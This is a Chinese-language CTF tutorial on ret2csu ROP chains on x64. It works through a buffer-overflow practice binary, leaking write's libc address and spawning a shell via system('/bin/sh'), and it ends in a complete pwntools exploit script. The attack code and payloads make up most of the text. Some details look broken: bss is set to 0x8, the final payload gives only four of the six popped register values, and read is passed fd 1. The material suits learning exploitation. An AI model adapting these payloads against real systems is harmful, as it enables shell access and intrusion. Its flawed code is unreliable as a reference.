  首先我们来看一下gadgets1,pop了一堆东西进到寄存器里,然后控制ret到gadget2,此时我们便可以看出其中的玄机,gadget1中pop进寄存器的值竟然被传进了我们梦寐以求的rdi rsi rdx 三个参数寄存器,然后接下来 callq *(%r12,%rbx,8) 会调用 [$r12 + rbx*8] 处的函数,之后进行 rbx += 1,然后比较rbx与rbp的值,如果想等那么就继续向下进行,并且ret到我们想要继续执行的位置。到这,我就可以开始思考如何给gadget1传参数了,反复思索后:

1
2
3
4
5
6
7
$rbx = 0

$rbp = 1

$r12 = callee function

$r13 = arg1 $r14 = arg2 $r15 = arg3

这里需要注意的是需要构造56个padding,因为进行了6次pop和一次ret,使得rsp增大了56bytes。

  这个时候我们精心设计的rop链就可以执行传递多个参数的复杂操作了。

  下面我们来看一道题:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}

  乍一看除了write()和read()啥也没有,可以想到应该是libc泄漏,搜了一波发现没啥好用的gadgets,行吧,__libc_csu_init走起。由于write()函数被调用过,所以我们考虑根据write()来计算偏移:

  我们先构造payload1,利用write()函数来泄漏write自己在内存里的位置,然后返回到程序里,继续覆盖栈上的数据,直到回到main函数来继续进行后续操作:

1
2
3
#get the address of write
payload1 = 'a'*0x88 + p64(0x4011e2) + p64(0) + p64(1) + p64(write_got) + p64(1) + p64(write_got) + p64(8)
payload1 += p64(0x4011c8) + 'd' * 56 + p64(main)

  当我们收到write的地址后,我们便能够计算出system()在内存中的地址了。我们便构造payload2使用read()函数来将算出的system()与/bin/sh写入bss段:

1
2
#get the address of system and bin_sh
payload2 = 'a'*0x88 + p64(0x4011e2) + p64(0) + p64(1) + p64(read_got) + p64(1) + p64(bss) + p64(16) + p64(0x4011c8) + 'd'*56 + p64(main)

最后我们构造payload3,调用system()函数执行“/bin/sh”。注意,system()的地址保存在了.bss段首地址上,“/bin/sh”的地址保存在了.bss段首地址+8字节上。

1
2
#activate the system("/bin/sh")
payload3 = 'a'*0x88 + p64(0x4011e2) + p64(0) + p64(1) + p64(bss) + p64(bss+8) + p64(0x4011c8) + 'd' *56 + p64(main)

  最终的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

#r12 = ret_addr

#r13 = rdi = arg1 r14 = rsi = arg2 r15 = rdx = arg3

#rbx = 0 rbp = 1

sh = process('./rop_libc1')

elf = ELF('./rop_libc1')
libc = ELF('./libc.so')

main = 0x401153
bss = 0x00000008
read_got = 0x404020

write_got = elf.got['write']
print "write_got= " + hex(write_got)
write_libc = libc.symbols['write']
print "write_libc= " + hex(write_libc)
system_libc = libc.symbols['system']
print "system_libc= " + hex(system_libc)
bin_sh_libc = libc.search('/bin/sh').next()
print "bin_sh_libc= " + hex(bin_sh_libc)

#get the address of write
payload1 = 'a'*0x88 + p64(0x4011e2) + p64(0) + p64(1) + p64(write_got) + p64(1) + p64(write_got) + p64(8)
payload1 += p64(0x4011c8) + 'd' * 56 + p64(main)

sh.recvuntil("Hello, World\n")
sh.sendline(payload1)
sleep(0.5)

write_addr = u64(sh.recv(8))
print "write_addr= " + hex(write_addr)
sleep(0.5)

#get the address of system and bin_sh
payload2 = 'a'*0x88 + p64(0x4011e2) + p64(0) + p64(1) + p64(read_got) + p64(1) + p64(bss) + p64(16) + p64(0x4011c8) + 'd'*56 + p64(main)
sh.sendline(payload2)
sh.send(p64(system_libc + write_addr - write_libc))
sh.send("/bin/sh\0")
sleep(0.5)
sh.recvuntil("Hello, World\n")

#activate the system("/bin/sh")
payload3 = 'a'*0x88 + p64(0x4011e2) + p64(0) + p64(1) + p64(bss) + p64(bss+8) + p64(0x4011c8) + 'd' *56 + p64(main)
sh.sendline(payload3)
sh.interactive()

  至此,一个华丽的利用已经完成了.

以上是对x64libc泄漏的处理方式

书山又路勤为径,学海无涯苦做舟

1%